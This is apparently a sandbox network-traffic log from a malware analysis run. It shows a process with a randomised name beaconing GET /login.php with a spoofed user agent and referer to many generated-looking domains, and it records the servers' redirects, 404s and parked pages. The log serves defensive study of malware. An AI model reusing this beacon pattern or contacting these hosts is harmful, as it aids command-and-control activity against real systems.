Nov 11, 2024 18:51:25.691929102 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:24 GMT content-type: text/html; charset=utf-8 content-length: 1094 x-request-id: 2fa2f12c-f955-48a1-8935-1b6cffe0d01d cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ== set-cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723; expires=Mon, 11 Nov 2024 18:06:25 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
Nov 11, 2024 18:51:25.692043066 CET	520	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWU4OTBhNzMtYWMzYi00MmQwLTgwNmYtMzk3MjVmYTRiNzIzIiwicGFnZV90aW1lIjoxNzMxMzQ3NDg1LCJwYWdlX3VybCI6Imh0dHA6L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	59223	188.114.96.3	80	6212	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:25.260509014 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:51:26.028939962 CET	972	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:51:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EqcDwVx95LJzOAj6qAQ7NjMTKLfoBwEHTVl2FywSYc%2FS46xqjtp0DNvwt9wHwoVJncepq9yUpMdJK98mF%2B2SUNaT74JWDzypZ7o0l5H%2BbxaQ2OA7764Y%2BUL%2FC5MMDw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10215948614bd6-YUL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11611&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	59226	44.221.84.105	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:26.951888084 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0
Nov 11, 2024 18:51:27.046267986 CET	334	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347486\|1731347428\|7\|6\|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	59225	162.255.119.102	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:26.952080965 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:51:27.123919964 CET	303	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:51:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 55 Connection: keep-alive Location: http://www.gahyqah.com/login.php X-Served-By: Namecheap URL Forward Server: namecheap-nginx Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	59233	18.208.156.248	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:32.485188007 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Nov 11, 2024 18:51:32.853944063 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347492\|1731347428\|23\|3\|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	59236	154.212.231.82	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:33.644757986 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:51:34.630713940 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:51:34 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:51:34.873492956 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:51:34 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	59237	44.221.84.105	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:33.645417929 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Nov 11, 2024 18:51:34.292531013 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347494\|1731347428\|12\|5\|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	59235	99.83.170.3	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:33.645505905 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Nov 11, 2024 18:51:34.292500973 CET	166	IN	HTTP/1.1 308 Permanent Redirect Connection: close Location: https://puzylyp.com/login.php Server: Caddy Date: Mon, 11 Nov 2024 17:51:34 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	59238	178.162.203.226	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:33.649336100 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	59239	188.114.96.3	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:33.651628971 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:51:34.334598064 CET	968	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:51:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rbXXkMqCAWLDknBr9LMBigOBdtNtAT9Mj0QW0o6IsYf3AyPK7zuk4il1%2FP5ka3TZm%2BWVGtjDumgDMf7P9R1HEcia8xLK%2FWOrXqUv4oWTwIl9a9k090ijAF37ndsAiQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10218d9e0d424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1205&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	59241	3.94.10.34	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:33.699893951 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Nov 11, 2024 18:51:34.292635918 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347494\|1731347428\|12\|5\|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	59240	199.191.50.83	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:33.719090939 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:51:36.199882984 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 17:51:34 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 61 38 65 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED] Data Ascii: a8e0<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
Nov 11, 2024 18:51:36.199942112 CET	1236	IN	Data Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f Data Ascii: f(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net
Nov 11, 2024 18:51:36.199954987 CET	358	IN	Data Raw: 65 64 4c 61 6e 67 73 28 29 3b 76 61 72 20 63 3d 5b 5d 3b 76 61 72 20 66 3d 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3b 76 61 72 20 65 3d 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 76 61 72 20 61 3d 22 6c 61 6e 67 75 61 67 65 73 22 20 69 6e 20 Data Ascii: edLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.languages:[];if(f.indexOf("cmplang=")!=-1){c.push(f.substr(f.indexOf("cmplang=")+8,2).toUpperCase())}else{if(e.indexOf("cmplang=")!=-1){c.pus
Nov 11, 2024 18:51:36.200155973 CET	1236	IN	Data Raw: 68 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 61 2e 6c 65 6e 67 74 68 3e 30 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 64 2b 2b Data Ascii: h(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLanguage" in navigator){c.push(navigator.userLanguage)}var h="";for(var d=0;d<c
Nov 11, 2024 18:51:36.200351954 CET	1236	IN	Data Raw: 6d 70 5f 72 65 66 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 72 65 66 3a 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 76 61 72 20 6a 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 6a 2e 73 65 74 41 74 74 72 69 62 75 Data Ascii: mp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_design:"");var f=x("cmpregulationkey","cmp_regulationkey" in h?h.cmp_regulationkey:"");var r=x(
